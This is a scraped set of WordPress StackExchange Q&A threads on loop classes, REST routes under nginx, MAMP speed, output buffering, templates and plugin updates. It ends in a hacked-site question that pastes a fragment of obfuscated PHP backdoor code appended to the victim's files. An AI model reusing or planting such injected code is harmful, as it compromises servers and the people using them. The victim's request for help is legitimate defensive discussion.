<li><a href="https://website.com/unit-5/" class="list-link current-unit">Unit 5</a></li>
<li><a href="https://website.com/unit-6/" class="list-link">Unit 6</a></li>
<li><a href="https://website.com/unit-7/" class="list-link">Unit 7</a></li>
<li><a href="https://website.com/unit-8/" class="list-link">Unit 8s</a></li>
</ul>
</code></pre>
<p>As you can see I've attached a class to the current post so that the current course link in the list can have a special style. What I also want to do is have the styles prior to and after the current post be different. The user is supposed to go through the units one by one so I want the prior post links to be greyed out (all I need is a class and I can style it however.)</p>
<p>I tried to do this with a counter variable (because I can't do this with ids or date since it's a custom order) but I was unable to get it to work. How can I attach a class to all posts prior to the current one? Any help would be so appreciated.</p>
| [
{
"answer_id": 253727,
"author": "Milo",
"author_id": 4771,
"author_profile": "https://wordpress.stackexchange.com/users/4771",
"pm_score": 1,
"selected": false,
"text": "<p>Set a variable to a classname before the loop:</p>\n\n<pre><code>$position = 'class-before';\n</code></pre>\n\n<p>Then reset it within the <code>if</code> condition:</p>\n\n<pre><code>if( $post_id == $current_id ) :\n ?> current-unit<?php\n $position = 'class-after';\nendif;\n</code></pre>\n"
},
{
"answer_id": 253728,
"author": "Dave Romsey",
"author_id": 2807,
"author_profile": "https://wordpress.stackexchange.com/users/2807",
"pm_score": 1,
"selected": true,
"text": "<p>A little bit of PHP can be used to determine if the current unit has been rendered or not. </p>\n\n<p>In the solution below, the flag <code>$current_unit_rendered</code> is initially set to false. We check to see if we're on the current unit. If so, we set the <code>$unit_class</code> variable to the appropriate string and update the flag. Using this information, we know if we're before or after the current unit: </p>\n\n<pre><code><?php\n $current_id = get_the_ID();\n $current_unit_rendered = false;\n $unit_class = '';\n $the_query = new WP_Query(array(\n 'posts_per_page' => -1, // Ideally, an upper limit like 500 should be used.\n 'post_type' => 'course_unit',\n 'orderby' => 'menu_order'\n ) );\n?>\n<h4>Your Course Units</h4>\n<ul>\n <?php if ( $the_query->have_posts() ): while ( $the_query->have_posts() ) : $the_query->the_post(); \n if ( get_the_ID() === $current_id ) {\n $unit_class = 'current-unit';\n $current_unit_rendered = true;\n } elseif ( true === $current_unit_rendered ) {\n $unit_class = 'future-unit';\n } elseif ( false === $current_unit_rendered ) {\n $unit_class = 'previous-unit';\n }\n ?>\n <li><a href=\"<?php the_permalink(); ?>\" class=\"list-link <?php echo esc_attr( $unit_class) ?>\"><?php the_title(); ?></a></li>\n <?php endwhile; endif; ?>\n</ul>\n<?php wp_reset_query(); ?> \n</code></pre>\n"
}
]
| 2017/01/24 | [
"https://wordpress.stackexchange.com/questions/253724",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/109951/"
]
| I have a query looping through all posts in a custom post type using a custom order (via a re-ordering plugin.)
Here's my code:
```
<?php
$current_id = get_the_ID();
$counter = 0;
$the_query = new WP_Query(array(
'posts_per_page' => -1,
'post_type' => 'course_unit',
'orderby' => 'menu_order'
));
?>
<h4>Your Course Units</h4>
<ul>
<?php if( $the_query->have_posts() ): while( $the_query->have_posts() ) : $the_query->the_post();
$post_id = get_the_ID();
?>
<li><a href="<?php the_permalink(); ?>" class="list-link<?php if($post_id == $current_id) : ?> current-unit<?php endif; ?>"><?php the_title(); ?></a></li>
<?php endwhile; endif; ?>
</ul>
<?php wp_reset_query(); ?>
```
This output is this:
```
<h4>Your Course Units</h4>
<ul>
<li><a href="https://website.com/unit-1/" class="list-link">Unit 1</a></li>
<li><a href="https://website.com/unit-2/" class="list-link">Unit 2t</a></li>
<li><a href="https://website.com/unit-3/" class="list-link">Unit 3</a></li>
<li><a href="https://website.com/unit-4/" class="list-link">Unit 4</a></li>
<li><a href="https://website.com/unit-5/" class="list-link current-unit">Unit 5</a></li>
<li><a href="https://website.com/unit-6/" class="list-link">Unit 6</a></li>
<li><a href="https://website.com/unit-7/" class="list-link">Unit 7</a></li>
<li><a href="https://website.com/unit-8/" class="list-link">Unit 8s</a></li>
</ul>
```
As you can see I've attached a class to the current post so that the current course link in the list can have a special style. What I also want to do is have the styles prior to and after the current post be different. The user is supposed to go through the units one by one so I want the prior post links to be greyed out (all I need is a class and I can style it however.)
I tried to do this with a counter variable (because I can't do this with ids or date since it's a custom order) but I was unable to get it to work. How can I attach a class to all posts prior to the current one? Any help would be so appreciated. | A little bit of PHP can be used to determine if the current unit has been rendered or not.
In the solution below, the flag `$current_unit_rendered` is initially set to false. We check to see if we're on the current unit. If so, we set the `$unit_class` variable to the appropriate string and update the flag. Using this information, we know if we're before or after the current unit:
```
<?php
$current_id = get_the_ID();
$current_unit_rendered = false;
$unit_class = '';
$the_query = new WP_Query(array(
'posts_per_page' => -1, // Ideally, an upper limit like 500 should be used.
'post_type' => 'course_unit',
'orderby' => 'menu_order'
) );
?>
<h4>Your Course Units</h4>
<ul>
<?php if ( $the_query->have_posts() ): while ( $the_query->have_posts() ) : $the_query->the_post();
if ( get_the_ID() === $current_id ) {
$unit_class = 'current-unit';
$current_unit_rendered = true;
} elseif ( true === $current_unit_rendered ) {
$unit_class = 'future-unit';
} elseif ( false === $current_unit_rendered ) {
$unit_class = 'previous-unit';
}
?>
<li><a href="<?php the_permalink(); ?>" class="list-link <?php echo esc_attr( $unit_class) ?>"><?php the_title(); ?></a></li>
<?php endwhile; endif; ?>
</ul>
<?php wp_reset_query(); ?>
``` |
253,734 | <p>When I access my WordPress site as <code>www.example.com/wp-json/</code> I got this 404 error.</p>
<pre><code>`{"code":"rest_no_route","message":"No route was found matching the URL and request method","data":{"status":404}}`
</code></pre>
<p>But the REST api return the correct json object if I use the url of <code>www.example.com/wp-json/wp/v2/</code>. </p>
<p>My permalink is setup as <code>/%year%/%monthnum%/%postname%/</code>, and here is part of my nginx configuration settings:</p>
<pre><code>server {
root /var/www/html;
index index.php index.html index.htm;
location / {
try_files $uri $uri/ /index.php$is_args$args;
}
# other location directives related to php, cache, etc.
}
</code></pre>
<p>I searched on Internet and most of the problems seems to be caused by incorrect permalink setting and .htaccess (Apache), but seldom mentioned about the case related to nginx. Any idea what cause this and how to solve it?</p>
<p><strong>Update</strong></p>
<p>If I run <code>curl -i www.example.com/wp-json</code>, this is what I get:</p>
<pre><code>HTTP/1.1 404 Not Found
Server: nginx
Date: Sun, 29 Jan 2017 11:58:21 GMT
Content-Type: application/json; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Robots-Tag: noindex
Link: <https://example.com/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages
Access-Control-Allow-Headers: Authorization, Content-Type
{"code":"rest_no_route","message":"No route was found matching the URL and request method","data":{"status":404}}
</code></pre>
<p><strong>Latest Update (7 Mar 2017)</strong></p>
<p>With the release of WordPress 4.7.3, this bug has been fixed. The workaround <code>unset ($_SERVER['PATH_INFO']);</code> no longer needed.</p>
| [
{
"answer_id": 256779,
"author": "user113522",
"author_id": 113522,
"author_profile": "https://wordpress.stackexchange.com/users/113522",
"pm_score": 2,
"selected": false,
"text": "<p>Just ran into the same issue on an nginx only (no Apache) WordPress blank install 4.7.2 site.</p>\n\n<p>The base <code>/wp-json/</code> & <code>index.php?rest_route=/</code> URLs showing <code>rest_no_route 404</code>, but all the <code>/wp-json/wp/v2/</code> working just fine.</p>\n\n<p>The issue turned out to be related to the <code>PATH_INFO</code> variable passed by nginx that WordPress core attempts to build the URL off of incorrectly, if it's set to anything, even an empty string.</p>\n\n<p>Needs more investigating, but I was able to fix by adding a condition on those specific pages via <code>REQUEST_URI</code> by doing this for them:</p>\n\n<pre><code>unset($_SERVER['PATH_INFO']);\n</code></pre>\n"
},
{
"answer_id": 257247,
"author": "lkraav",
"author_id": 11614,
"author_profile": "https://wordpress.stackexchange.com/users/11614",
"pm_score": 2,
"selected": true,
"text": "<p>Could this be about <a href=\"https://core.trac.wordpress.org/ticket/39432\" rel=\"nofollow noreferrer\">https://core.trac.wordpress.org/ticket/39432</a></p>\n\n<p>Symptoms look very similar and at the time of writing hasn't been released as 4.7.3. Applying the patch manually fixed the issue on my nginx setup.</p>\n"
},
{
"answer_id": 268538,
"author": "Mathis Schülingkamp",
"author_id": 120727,
"author_profile": "https://wordpress.stackexchange.com/users/120727",
"pm_score": 1,
"selected": false,
"text": "<p>For me, updating the permalinks to something special than the first option did the job.</p>\n"
},
{
"answer_id": 379352,
"author": "Arun Panneerselvam",
"author_id": 165180,
"author_profile": "https://wordpress.stackexchange.com/users/165180",
"pm_score": 1,
"selected": false,
"text": "<p>It worked for me with the proposed nginx setup from wordpress.\nadd this to your nginx.conf</p>\n<pre><code>location /wp-json/ { # Resolves WP Gutenberg 404 issue\n try_files $uri $uri/ /index.php;\n} \n</code></pre>\n<p>and change the 'Permalinks' settings to 'Post name'</p>\n<p>this should work with <code>/wp-json</code> issue.\n<a href=\"https://wordpress.org/plugins/nginx-helper/#description\" rel=\"nofollow noreferrer\">https://wordpress.org/support/article/nginx/</a></p>\n<p>I configured a network site with the instructions given and it all seemed to work well.\nWorth giving it a try!</p>\n<p>Also, https sites must have right permalinks, just check that one as well!</p>\n"
}
]
| 2017/01/24 | [
"https://wordpress.stackexchange.com/questions/253734",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111577/"
]
| When I access my WordPress site as `www.example.com/wp-json/` I got this 404 error.
```
`{"code":"rest_no_route","message":"No route was found matching the URL and request method","data":{"status":404}}`
```
But the REST api return the correct json object if I use the url of `www.example.com/wp-json/wp/v2/`.
My permalink is setup as `/%year%/%monthnum%/%postname%/`, and here is part of my nginx configuration settings:
```
server {
root /var/www/html;
index index.php index.html index.htm;
location / {
try_files $uri $uri/ /index.php$is_args$args;
}
# other location directives related to php, cache, etc.
}
```
I searched on Internet and most of the problems seems to be caused by incorrect permalink setting and .htaccess (Apache), but seldom mentioned about the case related to nginx. Any idea what cause this and how to solve it?
**Update**
If I run `curl -i www.example.com/wp-json`, this is what I get:
```
HTTP/1.1 404 Not Found
Server: nginx
Date: Sun, 29 Jan 2017 11:58:21 GMT
Content-Type: application/json; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Robots-Tag: noindex
Link: <https://example.com/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages
Access-Control-Allow-Headers: Authorization, Content-Type
{"code":"rest_no_route","message":"No route was found matching the URL and request method","data":{"status":404}}
```
**Latest Update (7 Mar 2017)**
With the release of WordPress 4.7.3, this bug has been fixed. The workaround `unset ($_SERVER['PATH_INFO']);` no longer needed. | Could this be about <https://core.trac.wordpress.org/ticket/39432>
Symptoms look very similar and at the time of writing hasn't been released as 4.7.3. Applying the patch manually fixed the issue on my nginx setup. |
253,735 | <p>My sites are so slow running on my local machine, with MAMP on Mac.</p>
<p>Any ideas of how to determine where the slow down is?</p>
<p>It's slower than making changes on my host!</p>
<p>Paul</p>
| [
{
"answer_id": 255179,
"author": "user112547",
"author_id": 112547,
"author_profile": "https://wordpress.stackexchange.com/users/112547",
"pm_score": 4,
"selected": false,
"text": "<p>Go to <strong>wp-config.php</strong>, find the line below:</p>\n\n<pre><code>define('DB_HOST', 'localhost:8889');\n</code></pre>\n\n<p>And change it to:<br></p>\n\n<pre><code>define('DB_HOST', '127.0.0.1:8889');\n</code></pre>\n\n<p>Works like a charm!<br><br></p>\n"
},
{
"answer_id": 407749,
"author": "Steve Moretz",
"author_id": 201390,
"author_profile": "https://wordpress.stackexchange.com/users/201390",
"pm_score": 1,
"selected": false,
"text": "<p>If it's a Database problem you need to change it at <code>wp-config.php</code>.</p>\n<p>You can choose :</p>\n<pre class=\"lang-php prettyprint-override\"><code>define( 'DB_HOST', '127.0.0.1:3306' );\n</code></pre>\n<p>(notice 3306 is your port number for DB make sure to change it as needed, but 3306 is a default for major softwares you also better change MAMP port to this, I've seen doing that making it faster too.)</p>\n<hr />\n<p>or even better drop the TCP/IP completely.</p>\n<pre class=\"lang-php prettyprint-override\"><code>define( 'DB_HOST', 'localhost:/Applications/MAMP/tmp/mysql/mysql.sock' );\n</code></pre>\n<p>Needless to say this option is more performant.</p>\n"
}
]
| 2017/01/24 | [
"https://wordpress.stackexchange.com/questions/253735",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/41425/"
]
| My sites are so slow running on my local machine, with MAMP on Mac.
Any ideas of how to determine where the slow down is?
It's slower than making changes on my host!
Paul | Go to **wp-config.php**, find the line below:
```
define('DB_HOST', 'localhost:8889');
```
And change it to:
```
define('DB_HOST', '127.0.0.1:8889');
```
Works like a charm! |
253,743 | <p>I have added alt tags, title and description on all the images on my website but none are showing when I check them in the inspect element tool in chrome or firefox.</p>
<p>Here's a screenshot:</p>
<p><a href="https://i.stack.imgur.com/hIgCG.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/hIgCG.png" alt="enter image description here"></a></p>
<p>And here's the screenshot of inspect element of the same image:</p>
<p><a href="https://i.stack.imgur.com/ZH6cL.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/ZH6cL.png" alt="enter image description here"></a></p>
| [
{
"answer_id": 255179,
"author": "user112547",
"author_id": 112547,
"author_profile": "https://wordpress.stackexchange.com/users/112547",
"pm_score": 4,
"selected": false,
"text": "<p>Go to <strong>wp-config.php</strong>, find the line below:</p>\n\n<pre><code>define('DB_HOST', 'localhost:8889');\n</code></pre>\n\n<p>And change it to:<br></p>\n\n<pre><code>define('DB_HOST', '127.0.0.1:8889');\n</code></pre>\n\n<p>Works like a charm!<br><br></p>\n"
},
{
"answer_id": 407749,
"author": "Steve Moretz",
"author_id": 201390,
"author_profile": "https://wordpress.stackexchange.com/users/201390",
"pm_score": 1,
"selected": false,
"text": "<p>If it's a Database problem you need to change it at <code>wp-config.php</code>.</p>\n<p>You can choose :</p>\n<pre class=\"lang-php prettyprint-override\"><code>define( 'DB_HOST', '127.0.0.1:3306' );\n</code></pre>\n<p>(notice 3306 is your port number for DB make sure to change it as needed, but 3306 is a default for major softwares you also better change MAMP port to this, I've seen doing that making it faster too.)</p>\n<hr />\n<p>or even better drop the TCP/IP completely.</p>\n<pre class=\"lang-php prettyprint-override\"><code>define( 'DB_HOST', 'localhost:/Applications/MAMP/tmp/mysql/mysql.sock' );\n</code></pre>\n<p>Needless to say this option is more performant.</p>\n"
}
]
| 2017/01/24 | [
"https://wordpress.stackexchange.com/questions/253743",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/106457/"
]
| I have added alt tags, title and description on all the images on my website but none are showing when I check them in the inspect element tool in chrome or firefox.
Here's a screenshot:
[](https://i.stack.imgur.com/hIgCG.png)
And here's the screenshot of inspect element of the same image:
[](https://i.stack.imgur.com/ZH6cL.png) | Go to **wp-config.php**, find the line below:
```
define('DB_HOST', 'localhost:8889');
```
And change it to:
```
define('DB_HOST', '127.0.0.1:8889');
```
Works like a charm! |
253,803 | <p>What is the best way to use "Output Buffering" on the frontend? In my case, I need to apply some regex rules to the content generated by a theme with a page builder. </p>
<p>So it is not possible to edit the code with the filter <code>the_content</code>, because there everything is still available as shortcode. But I need to work with the code, which is generated when WordPress passes it through its hooks.</p>
<p>It looks as if it is easiest to buffer everything between <code>wp_head</code> and <code>wp_print_footer_scripts</code>:</p>
<pre><code>public function __construct()
{
add_action( 'wp_head', array( $this, 'start') );
add_action( 'wp_print_footer_scripts', array( $this, 'end') );
} // end constructor
public function start() { ob_start( array( $this, 'callback' ) ); } // end start
public function end() { ob_end_flush(); } // end end
public function callback( $buffer )
{
// do some stuff
return $buffer;
} // end callback
</code></pre>
<p>But I have read in several places that it can lead to undesirable side effects..</p>
<p>Since it may also be applied to other people, I would like to know whether this can be used in the way, or whether there is perhaps a better way?</p>
| [
{
"answer_id": 253814,
"author": "Ethan O'Sullivan",
"author_id": 98212,
"author_profile": "https://wordpress.stackexchange.com/users/98212",
"pm_score": 0,
"selected": false,
"text": "<p>When I use <a href=\"https://secure.php.net/manual/en/function.ob-start.php\" rel=\"nofollow noreferrer\">output buffering</a>, I hook onto <a href=\"https://codex.wordpress.org/Plugin_API/Action_Reference/wp_loaded\" rel=\"nofollow noreferrer\"><code>wp_loaded</code></a> since this ensures that my regex applies to the content after everything loads.</p>\n\n<blockquote>\n <p><em>This action hook is fired once WordPress, all plugins, and the theme are fully loaded and instantiated.</em></p>\n</blockquote>\n\n<p>Here's a template to work with when using output buffering:</p>\n\n<pre><code><?php\n\nclass WPSE_253803 {\n public function __construct() {\n # Remove HTTP and HTTPS protocols\n add_action( 'wp_loaded', array( $this, 'output_buffering' ), PHP_INT_MAX, 1 );\n }\n\n public function output_buffering() {\n # Enable output buffering\n ob_start( function( $content ) {\n # Enter code here...\n return $content;\n } );\n }\n}\n# Instantiate the class\nnew WPSE_253803();\n</code></pre>\n"
},
{
"answer_id": 253815,
"author": "JHoffmann",
"author_id": 63847,
"author_profile": "https://wordpress.stackexchange.com/users/63847",
"pm_score": 2,
"selected": true,
"text": "<p>If you simply want to modify content to be output by <code>the_content()</code> but after the shortcodes have been applied, there is a much simpler approach. Shortcodes are filtered in <code>the_content</code> with priority 11 as can be seen in <a href=\"https://core.trac.wordpress.org/browser/tags/4.7.1/src/wp-includes/default-filters.php#L447\" rel=\"nofollow noreferrer\">default-filters.php</a>:</p>\n\n<pre><code>add_filter( 'the_content', 'do_shortcode', 11 ); // AFTER wpautop()\n</code></pre>\n\n<p>So just write a filter function and hook it with a higher value for priority, so the content passes through it after shortcodes have been replaced.</p>\n\n<pre><code>public function __construct() {\n add_filter( 'the_content', array( $this, 'wpse_253803_filter' ), 20 );\n}\npublic function wpse_253803_filter( $content ) {\n //do some stuff\n return $content;\n}\n</code></pre>\n"
}
]
| 2017/01/24 | [
"https://wordpress.stackexchange.com/questions/253803",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111680/"
]
| What is the best way to use "Output Buffering" on the frontend? In my case, I need to apply some regex rules to the content generated by a theme with a page builder.
So it is not possible to edit the code with the filter `the_content`, because there everything is still available as shortcode. But I need to work with the code, which is generated when WordPress passes it through its hooks.
It looks as if it is easiest to buffer everything between `wp_head` and `wp_print_footer_scripts`:
```
public function __construct()
{
add_action( 'wp_head', array( $this, 'start') );
add_action( 'wp_print_footer_scripts', array( $this, 'end') );
} // end constructor
public function start() { ob_start( array( $this, 'callback' ) ); } // end start
public function end() { ob_end_flush(); } // end end
public function callback( $buffer )
{
// do some stuff
return $buffer;
} // end callback
```
But I have read in several places that it can lead to undesirable side effects..
Since it may also be applied to other people, I would like to know whether this can be used in the way, or whether there is perhaps a better way? | If you simply want to modify content to be output by `the_content()` but after the shortcodes have been applied, there is a much simpler approach. Shortcodes are filtered in `the_content` with priority 11 as can be seen in [default-filters.php](https://core.trac.wordpress.org/browser/tags/4.7.1/src/wp-includes/default-filters.php#L447):
```
add_filter( 'the_content', 'do_shortcode', 11 ); // AFTER wpautop()
```
So just write a filter function and hook it with a higher value for priority, so the content passes through it after shortcodes have been replaced.
```
public function __construct() {
add_filter( 'the_content', array( $this, 'wpse_253803_filter' ), 20 );
}
public function wpse_253803_filter( $content ) {
//do some stuff
return $content;
}
``` |
253,820 | <p>i use the following code in my functions.php. I want to exclude all pages which use the single.php template.</p>
<pre><code>function cat_menu() {
if (!is_page_template('single.php')) {
$cur_cat = get_query_var('cat');
$new_cats = wp_list_categories('echo=false&child_of=' . $cur_cat .'&depth=1&title_li=&&show_count=0&hide_empty=1');
echo '<ul>' . $new_cats . '</ul>';
}}
add_action ( 'genesis_after_header', 'cat_menu' );
</code></pre>
<p>But i see the result aslo on pages which use the single.php.</p>
<p>Can somebody help me with this?</p>
| [
{
"answer_id": 253822,
"author": "swissspidy",
"author_id": 12404,
"author_profile": "https://wordpress.stackexchange.com/users/12404",
"pm_score": 2,
"selected": true,
"text": "<p><code>is_page_template()</code> checks against post type templates specified by the theme using</p>\n\n<pre><code>/**\n * Template Name: My Template\n */\n</code></pre>\n\n<p>at the top of the template file. Not any arbitrary template file. For this, you might wanna check out the answers over at <a href=\"https://wordpress.stackexchange.com/questions/10537/get-name-of-the-current-template-file\">Get name of the current template file</a>. You could grab the code from the accepted answer there (<code>get_current_template()</code>) to do something when <code>single.php === get_current_template()</code>.</p>\n"
},
{
"answer_id": 253825,
"author": "TrubinE",
"author_id": 111011,
"author_profile": "https://wordpress.stackexchange.com/users/111011",
"pm_score": -1,
"selected": false,
"text": "<p>get_page_template_slug() - Returns only the page template </p>\n\n<pre><code> global $post; \n $template = get_page_template_slug($post->ID); \n if ($template == 'page-template.php') {....}\n</code></pre>\n\n<p>Probably worth checking out easier</p>\n\n<pre><code>if(is_single()){....}\n</code></pre>\n"
},
{
"answer_id": 253830,
"author": "vol4ikman",
"author_id": 31075,
"author_profile": "https://wordpress.stackexchange.com/users/31075",
"pm_score": 0,
"selected": false,
"text": "<p>You must to use the next function:</p>\n\n<pre><code>is_singular()\n</code></pre>\n\n<p>Is singular checks if current page is single.php.</p>\n\n<p><a href=\"https://codex.wordpress.org/Function_Reference/is_singular\" rel=\"nofollow noreferrer\">Function reference</a></p>\n"
}
]
| 2017/01/24 | [
"https://wordpress.stackexchange.com/questions/253820",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/82174/"
]
| i use the following code in my functions.php. I want to exclude all pages which use the single.php template.
```
function cat_menu() {
if (!is_page_template('single.php')) {
$cur_cat = get_query_var('cat');
$new_cats = wp_list_categories('echo=false&child_of=' . $cur_cat .'&depth=1&title_li=&&show_count=0&hide_empty=1');
echo '<ul>' . $new_cats . '</ul>';
}}
add_action ( 'genesis_after_header', 'cat_menu' );
```
But i see the result aslo on pages which use the single.php.
Can somebody help me with this? | `is_page_template()` checks against post type templates specified by the theme using
```
/**
* Template Name: My Template
*/
```
at the top of the template file. Not any arbitrary template file. For this, you might wanna check out the answers over at [Get name of the current template file](https://wordpress.stackexchange.com/questions/10537/get-name-of-the-current-template-file). You could grab the code from the accepted answer there (`get_current_template()`) to do something when `single.php === get_current_template()`. |
253,847 | <p>I've updated to wordpress 4.7.x. I don't know why, but after doing so, I no longer have the ability to upload plugins (it keeps asking for FTP access. We've never used FTP always SFTP), and I can no longer update existing plugins. I get this error:</p>
<p><code>Update Failed: Could not create directory.</code></p>
<p>wp-config.php indeed was missing the <code>define(FS_METHOD, 'direct')</code> so I put it back. Still getting the error.</p>
<p>However, the apache error.log file contains no mention of an error. I feel like perhaps some permission issues got messed up somehow, but if that's the case, where on linux would I check to see a corresponding entry log for this error?</p>
| [
{
"answer_id": 253867,
"author": "Kenneth Odle",
"author_id": 111488,
"author_profile": "https://wordpress.stackexchange.com/users/111488",
"pm_score": 0,
"selected": false,
"text": "<p>If it's a WordPress, rather than an Apache error, you may not see anything on your server error logs. You can try enabling <a href=\"https://codex.wordpress.org/Debugging_in_WordPress\" rel=\"nofollow noreferrer\">WP_DEBUG</a> to see if anything shows up. That is generally my first step in debugging a WordPress site.</p>\n\n<p>This <a href=\"https://codex.wordpress.org/Changing_File_Permissions#Permission_Scheme_for_WordPress\" rel=\"nofollow noreferrer\">page</a> in the Codex provides a general permissions scheme. You can always check your file permissions via FTP (SFTP) or ssh.</p>\n"
},
{
"answer_id": 253893,
"author": "Scott",
"author_id": 111485,
"author_profile": "https://wordpress.stackexchange.com/users/111485",
"pm_score": 1,
"selected": false,
"text": "<p>In <code>wp-config.php</code>, set the following (if not already set):</p>\n\n<pre><code>define( 'WP_DEBUG', true );\ndefine( 'WP_DEBUG_LOG', true );\ndefine( 'WP_DEBUG_DISPLAY', false );\n@ini_set( 'display_errors', 0 );\n</code></pre>\n\n<p>This will make sure that on the site no error is shown, however, WordPress will log all errors in <code>debug.log</code> file inside the <code>/wp-content/</code> directory.</p>\n\n<blockquote>\n <p>NOTE: You must insert this BEFORE <code>/* That's all, stop editing! Happy blogging. */</code> in the <code>wp-config.php</code> file.</p>\n</blockquote>\n\n<p>You'll find more details about it in this <a href=\"https://codex.wordpress.org/Debugging_in_WordPress\" rel=\"nofollow noreferrer\">Codex Document.</a></p>\n"
}
]
| 2017/01/24 | [
"https://wordpress.stackexchange.com/questions/253847",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/37934/"
]
| I've updated to wordpress 4.7.x. I don't know why, but after doing so, I no longer have the ability to upload plugins (it keeps asking for FTP access. We've never used FTP always SFTP), and I can no longer update existing plugins. I get this error:
`Update Failed: Could not create directory.`
wp-config.php indeed was missing the `define(FS_METHOD, 'direct')` so I put it back. Still getting the error.
However, the apache error.log file contains no mention of an error. I feel like perhaps some permission issues got messed up somehow, but if that's the case, where on linux would I check to see a corresponding entry log for this error? | In `wp-config.php`, set the following (if not already set):
```
define( 'WP_DEBUG', true );
define( 'WP_DEBUG_LOG', true );
define( 'WP_DEBUG_DISPLAY', false );
@ini_set( 'display_errors', 0 );
```
This will make sure that on the site no error is shown, however, WordPress will log all errors in `debug.log` file inside the `/wp-content/` directory.
>
> NOTE: You must insert this BEFORE `/* That's all, stop editing! Happy blogging. */` in the `wp-config.php` file.
>
>
>
You'll find more details about it in this [Codex Document.](https://codex.wordpress.org/Debugging_in_WordPress) |
253,896 | <p>My (managed) dedicated server, with several sites (not all of which use WP) has been hacked.</p>
<p>Obfuscated code has been appended to all files (including WP core/plugin/theme and non-WP stuff) for which the content begins with a php command (and not simply all files with a .php suffix).</p>
<p>It doesn't seem to affect the rendered page, and what little I know suggests it's a backdoor/trojan - which is about the limit of my knowledge.</p>
<p>Today, I find permissions changed to 200 - which I suspect might have been done by my service provider (although I've not received notification, nor yet an answer to my 'have you...?' question).</p>
<p>I'm curious about what the code does, although decoding it isn't worthwhile as it's clearly in some way 'bad stuff'.</p>
<p>I want to find the extent of the damage, the cause, and prevent a re-occurence.</p>
<p>It's fairly simple (though time consuming) to replace the obviously-changed files, and this I'll do.</p>
<p>My sql db backups seem to be 'clean' - but I don't know enough to be sure.</p>
<p>I'm perhaps wrongly assuming the cause to be WP-related, but don't know if it might instead have been through password-guessing or other.</p>
<p>Constructive suggestions appreciated. Please and thanks.</p>
<p>Update: having been asked about the extra code, it's added below. I didn't originally include it, because it didn't seem appropriate (not worth the effort of decoding, without which probably little to be gained).</p>
<pre><code>$zbdcvsv = 'tj x22)gj!|!*nbsbq%)323ldfidk!~!<**qp%!-uyfu%)3of)fepdof`57ftbc x7f!|w6*CW&)7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**111127-83:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%tpz!>37 x41 107 x45 116 x54"]); if ((strstr($uas," x) or (strstr($uas," x63 150 x72 157 x6d 145")rr.93e:5597f-s.973:8297f:5297e:56-xr.985:52985-tvodujpo! x24- x24y7 x24- x24*67]y74]275]y7:]268]y7f#<!%tww!>! x2400~:<h%_6R85,67R37,18R#>q%V<*#fopoV;ho))!gj!<*#cd2bge56+99386 x7f!<X>b%Z<#opo#>b%!*##>>X)!gjZ<#opo#>b%!**X)uft!*uyfu x27k:!ftmf!}Zqnj!/!#0#)idubn`hfsq)!sp!*#ojneb#-*f%)sfxpmpusut)tpqssutRe%)Rd%)Rb%-%bT-%hW~%fdy)##-!#~<p3)%cB%iN}#-! x24/%tmw/ x24)%c*W%eN+#Qi x5c1^W%c!>!%i x5c2^<!Ce*[!%cI<pd%w6Z6<.5`hA x27pd%66d 163 x69 145")) or (strstr($uas," x72 1668M4P8]37]278]225]241]334]368]322]3]364]6]283]427]3w6*CW&)7gj6<.[A x27&6< x7fw6* x7f_*#[k2`as," x61 156 x64 162 x6f 151 x64")x65 141 x74 145 x5f 146 x75 1} x7f;!opjudovg}k~~9{d%:osvufs:~928>> x22:ftmbg39*56A:>:8:|:745]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%)udfoopdXA x22)7gj6<*QDU`MPT7-NBx273qj%6<*Y%)fnbozcYufhA x272qj%6<^#zsfvr# x5cq%7/7#@#7/7^#iubq# x% x24- x24*<!~! x24/%t2w/**#sfmcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmFSUT`LDPT7-UFOJ`GB)fubfsdtfs%)7gj6<*id%)ftpmdR6<*id%)dfyfR x27tfs%6<*17-SFEBFI,6<*127-UVPF8 124 x54 120 x5f 125 x53 105 x52 1#00#W~!%t2w)##Qtjw)#]XA x27K6< x7fw6*3qj%7> x22) or (strstr($uas," x66 151 x72 145 x66 157 x78")))9y]g2y]#>>*4-1-bubE{h%)82#-#!#-%tmw)%tww**WYsboepn)%bss-%rxB%h>#]y31]278]y3e]81]K7tolower($_SERVER[" x4 x3a 61 x31")) or (strstr($ujyf`x x22l:!}V;3q%}U;yk5`{66~6<&w6< x7fw6*CW&)7gj6<*doj%7-C)fepmqnjA x27&6<.f<! x24- x24gps)%j>1<%j=tj{fpg) x24)##-!#~<#/% x24- x24!>!fyqmpef)# x24*<!%t::!>! x24Yp { $GLOBALS[" x61 156 x75 156 x61"]=1; $uas=str8:56985:6197g:74985-)% x24- x24y4 x24- x24]y8 x24- <.msv`ftsbqA7>q%6< x7fw6* x7f_*#fubfsdX9#-!#65egb2dc#*<!sfuvso!sboepn)%epnbss-%rxW~!Ypp2)%zB%z>! x24/%tmw/!#]D6M7]K3#<%yy>#]D6]281L1#/#M5]DgP5]D6#<%fdy>#]D4]273]D6P5]67]452]88]5]48]32M3]317]445]212]445]43]321]464]284]364]6]4b!>!%yy)#}#-# x24- x24-tumjgA x27doj%6< x7fw6* x7f_*#fmjgk4`{6~6<tfs%w6< x7fw6*CW]}R;2]},;osvufs} x27;mnui}&;zepc}A;~!} x7f;!|!}{;)gj}l;33bq}k;opjutmfV x7f<*X&Z&S{ftmfV 